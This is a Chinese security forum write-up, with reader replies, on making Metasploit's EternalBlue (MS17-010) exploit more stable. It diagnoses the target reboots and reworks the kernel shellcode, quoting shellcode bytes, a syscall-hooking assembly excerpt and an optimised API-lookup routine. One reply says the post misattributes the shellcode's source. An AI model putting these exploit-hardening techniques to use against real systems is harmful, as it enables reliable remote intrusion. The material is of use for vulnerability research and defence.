首页
社区
课程
招聘
[原创]payload优化让永恒之蓝漏洞利用(MS17010)更稳定
2019-8-22 16:54 22205

[原创]payload优化让永恒之蓝漏洞利用(MS17010)更稳定

2019-8-22 16:54
22205

背景

永恒之蓝MS17_010漏洞的攻击代码已经被集成到了metasploit框架中,


其中,exploit/windows/smb/ms17_010_eternalblue是一个较常用的攻击模块。该模块可以对  

Windows 7 and Server 2008 R2 (x64) All Service Packs 目标系统发起攻击,但是在实际的攻击测试中,我们发现这个攻击模块会有一定的概率导致目标系统重启,Windows会弹出一个提示框。

Windows has encountered a critical problem and will restart automatically in one minute 

经过一分钟之后,windows就会自动重启。从追求漏洞利用稳定性的角度,我们希望漏洞利用能”不谈不卡不闪”,当然最希望的是漏洞利用不要把系统搞崩溃/重启了。

本篇文章我们就给大家介绍怎么去解决这个问题。

重启原因分析

下面我们就分析下系统重启的原因以及怎么样优化漏洞利用来避免这个问题

除了上面的弹窗信息外,系统还给了一下的提示信息:

The process wininit.exe has initiated the restart of the computer {HOSTNAME} on behalf of the user for the following reason: No title for this reason could be found

 Reason Code: 0x50006

 Shutdown Type: restart

 Comment: The system process 'C:\Windows\system32\lsass.exe' has terminated unexpectedly with status code 255. The system will now shut down and restart.

在网上查了一些这个错误,发现也没有特别有用的信息。

想到这个漏洞已经被爆出来很长时间了,网上肯定有人也遇到过这个问题。那么应该有人讨论过了。我们先在网络上查找下,找到了下面2个帖子:

https://github.com/rapid7/metasploit-framework/issues/8527

https://github.com/rapid7/metasploit-framework/pull/9601

其中一些回答的摘要如下:





我们可以从中得到一些信息,漏洞利用 和payload会影响到这个重启,并且payload越大,这个问题越容易发生。

那我们验证下是不是堆风水的不稳定导致了这个重启呢?

我们知道17010这个漏洞是堆越界写的漏洞,为了让这个越界写 能够写到特定的堆块,首先要利用堆风水对堆进行布局。大体过程如下:



那我们就需要分析下,是否因为堆风水的不稳定导致了重启。我们在越界写的地方下个条件断点观察下,

 bp srv!SrvOs2FeaListToNt+0x55 "!pool rax;!pool rax+0x11000;gc"

*fffffa801b672000 : large page allocation, tag is LSdb, size is 0x11000 bytes

                   Pooltag LSdb : SMB1 data buffer, Binary : srv.sys

Pool page fffffa801b683000 region is Nonpaged pool

*fffffa801b683000 : large page allocation, tag is LSbf, size is 0x11000 bytes

                   Pooltag LSbf : SMB1 buffer descriptor or srvnet allocation, Binary : srvnet.sys

Shutdown occurred at (Wed Jul 17 15:01:35.476 2019 (UTC + 8:00))...unloading all symbol tables.

Waiting to reconnect...

Connected to Windows 7 7601 x64 target at (Wed Jul 17 15:02:06.446 2019 (UTC + 8:00)), ptr64 TRUE

从上面可以看到即便srvnet对象成功位于srv对象后面了,系统还是会发生重启。由此我们排除了重启并不是因为堆风水的问题。

那我们接下来试一下payload是否会影响系统重启。

若我们换一个很小的payload,攻击导致系统重启的概率会不会变低呢?为了解决这个疑问,我们做了个实验,将exploit/windows/smb/ms17_010_eternalblue的payload换成没有任何逻辑的 nop指令。

这里需要说明一下的是ms17_010_eternalblue的payload是分2部分的,我们的msf中set payload是设置第二阶段的payload,除了这个payload之外,在ms17_010_eternalblue.rb中还硬编码了一个引导payload(第一阶段),第一阶段payload部分字节码如下:

  def make_kernel_shellcode(proc_name)

    # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm

    # Length: 1019 bytes

    # "\xcc"+

    "\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" +

    "\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" +

    "\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" +

    "\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01" +

    "\x00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41" +

"\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10" +

    "\x51\x56\x48\x89\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00" +

    "\x00\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48" +

    "\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39" +

    "\xD9\x75\xEC\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48" +

    "\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59" +

    "\x5A\x41\x58\x41\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48" +

    "\x89\xE5\x48\x83\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF" +

    "\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" +

    "\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" +

    "\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3"

  end

很幸运,我们发现把payload改成nop之后,漏洞利用变得非常稳定。于是我们就确定了payload是导致系统重启的一个关键因素。

解决重启问题

那下面我们尝试对payload进行优化来避免导致系统重启。Payload的链接如下:

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm

对payload进行分析,payload的主要逻辑如下:

Payload开始执行后,先在内核层面劫持(hook)系统调用,把syscall handler 修改成x64_syscall_handler函数地址,这样当有系统调用发生时,x64_syscall_handler函数就会得以执行。

x64_syscall_overwrite:

  mov ecx, 0xc0000082                               ; IA32_LSTAR syscall MSR

  rdmsr

  ;movabs rbx, 0xffffffffffd00ff8

  db 0x48, 0xbb, 0xf8, 0x0f, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff

  mov dword [rbx+0x4], edx                          ; save old syscall handler

  mov dword [rbx], eax

  lea rax, [rel x64_syscall_handler]                ; load new syscall handler

  mov rdx, rax

  shr rdx, 0x20

  wrmsr

  ret

x64_syscall_handle 函数代码主要逻辑如下:

保存系统环境

调用x64_kernel_start,最终会触发APC向目标进程注入shellcode

恢复系统环境

执行真正的syscall handler

经测试发现,若把x64_kernel_start 逻辑改成比较简单的代码,那么漏洞攻击过程中不会造成系统重启;所以我们的目标就是尽可能去优化x64_kernel_start的代码

x64_kernel_start 的主要逻辑:

1 动态定位ntoskernl.exe模块地址

2 动态获取一些内核API函数的地址

hash("PsGetCurrentProcess")

hash("PsLookupProcessByProcessId")

hash("PsGetProcessImageFileName")

hash("PsGetThreadTeb")

hash("KeGetCurrentProcess")

hash("KeGetCurrentThread")

hash("KeInitializeApc")

hash("KeInsertQueueApc")

hash("KeStackAttachProcess")

hash("KeUnstackDetachProcess")

hash("ZwAllocateVirtualMemory")

hash("ExAllocatePool")

hash("ObDereferenceObject")

3 利用windows的apc机制将shellcode注入到目标进程中,异步执行第二阶段的payload,完成反弹shell的功能。

我们对x64_kernel_start分析发现,这个函数写的还是挺复杂的,那这个函数可以被修改吗?要怎么样修改?

分析发现,x64_kernel_start函数中,为了实现window APC 功能,需要动态定位ntoskernl.exe,需要动态定位和执行很多内核API,需要动态获取目标进程和线程,而这些功能中有一些是不需要在 x64_kernel_start函数也能实现的,我们可以把这些功能移到其它地方完成。

只把最终结果传给x64_kernel_start函数就行了。例如,动态定位ntoskernl.exe,动态定位很多内核API,我们就可以在hook syscall 之前就把这些功能实现了,然后把结果(函数地址,模块地址等)存到系统可以访问的地址空间里,例如0xffffffffffd04000。

下面是我对原payload进行优化的地方(部分),x64_block_api_direct函数被x64_kernel_start调用了多次,x64_block_api_direct每次被调用都要去PE文件的函数导出表中遍历查找要查询的函数,函数逻辑较复杂

x64_block_api_direct:

  mov rax, r15                                        ; make copy of module

  push r9                                             ; Save parameters

  push r8

  push rdx

  push rcx

  push rsi

  mov rdx, rax

  mov eax, dword [rdx+60]                             ; Get PE header e_lfanew

  add rax, rdx

  mov eax, dword [rax+136]                            ; Get export tables RVA

%ifdef ERROR_CHECKS

  ; test rax, rax                                     ; EAT not found

  ; jz _block_api_not_found

%endif

  add rax, rdx

  push rax                                            ; save EAT

  mov ecx, dword [rax+24]                             ; NumberOfFunctions

  mov r8d, dword [rax+32]                             ; FunctionNames

  add r8, rdx

_x64_block_api_direct_get_next_func:

                              ; When we reach the start of the EAT (we search backwards), we hang or crash

  dec rcx                     ; decrement NumberOfFunctions

  mov esi, dword [r8+rcx*4]   ; Get rva of next module name

  add rsi, rdx                ; Add the modules base address

  call x64_calc_hash

  cmp r9d, r11d                             ; Compare the hashes

  jnz _x64_block_api_direct_get_next_func   ; try the next function

_x64_block_api_direct_finish:

  pop rax                     ; restore EAT

  mov r8d, dword [rax+36]

  add r8, rdx                 ; ordinate table virtual address

  mov cx, [r8+2*rcx]          ; desired functions ordinal

  mov r8d, dword [rax+28]     ; Get the function addresses table rva

  add r8, rdx                 ; Add the modules base address

  mov eax, dword [r8+4*rcx]   ; Get the desired functions RVA

  add rax, rdx                ; Add the modules base 

address to get the functions actual VA

  pop rsi

  pop rcx

  pop rdx

  pop r8

  pop r9

  pop r11                     ; pop ret addr

  ; sub rsp, 0x20               ; shadow space

  push r11                    ; push ret addr

  jmp rax

这是我优化完之后的x64_block_api_direct函数的代码,大家可以看到函数代码非常简单,

  x64_block_api_direct:

  mov rax, r15                                        ; make copy of module

  shl rdi,3

  mov rax ,qword [0xffffffffffd04000+rdi]   

  jmp rax

修改完之后,我们在windows server 2008 R2(x64) 和windows7 sp1 (x64)测试了多次,漏洞攻击并没有造成系统重启。


PS:最近有换工作打算的小伙伴可以私信我啊,最近团队正在招人,安全研究/漏洞分析/IOT方向


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞5
打赏
分享
打赏 + 5.00雪花
打赏次数 1 雪花 + 5.00
 
赞赏  某警官   +5.00 2019/09/01
最新回复 (9)
雪    币: 6920
活跃值: (2584)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2019-8-22 21:36
2
0
感谢分享,好文!
雪    币: 166
活跃值: (232)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
shijiheima 2019-8-22 21:40
3
0
好文章,没有附加,不够劲爆
雪    币: 1624
活跃值: (222)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
endust 2019-8-23 08:21
4
0
感谢分享
雪    币: 12040
活跃值: (15364)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2019-8-23 09:18
5
0
mark, 楼主能不能说下工作地点??
雪    币: 1372
活跃值: (112)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
hongzhujun 1 2019-8-23 16:58
6
0
。。。。。。
最后于 2019-8-23 16:59 被hongzhujun编辑 ,原因:
雪    币: 1372
活跃值: (112)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
hongzhujun 1 2019-8-23 16:59
7
0
北京海淀区信息路,有兴趣加我微信哈:672639236;;https://www.lagou.com/gongsi/j221192.html
雪    币: 1206
活跃值: (617)
能力值: ( LV13,RANK:245 )
在线值:
发帖
回帖
粉丝
coolboyme 3 2019-9-27 15:46
8
1
能够深入分析下为什么x64_kernel_start 长一点会导致重启,找到根因对症下药就更好了。
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_pfpapmbh 2021-5-23 21:31
9
0
楼主能不能分享一下修改后的poc和exploit?
雪    币: 338
活跃值: (1976)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
flag0 2 2022-1-20 17:57
10
0
multi_arch_kernel_queue_apc.asm并不是ms17_010_eternalblue.rb中硬编码的Ring0 shellcode。
用NASM编译了一下,发现机器码完全对照不起来。
和https://github.com/worawit/MS17-010/blob/master/shellcode/eternalblue_kshellcode_x64.asm 
是一致的。
游客
登录 | 注册 方可回帖
返回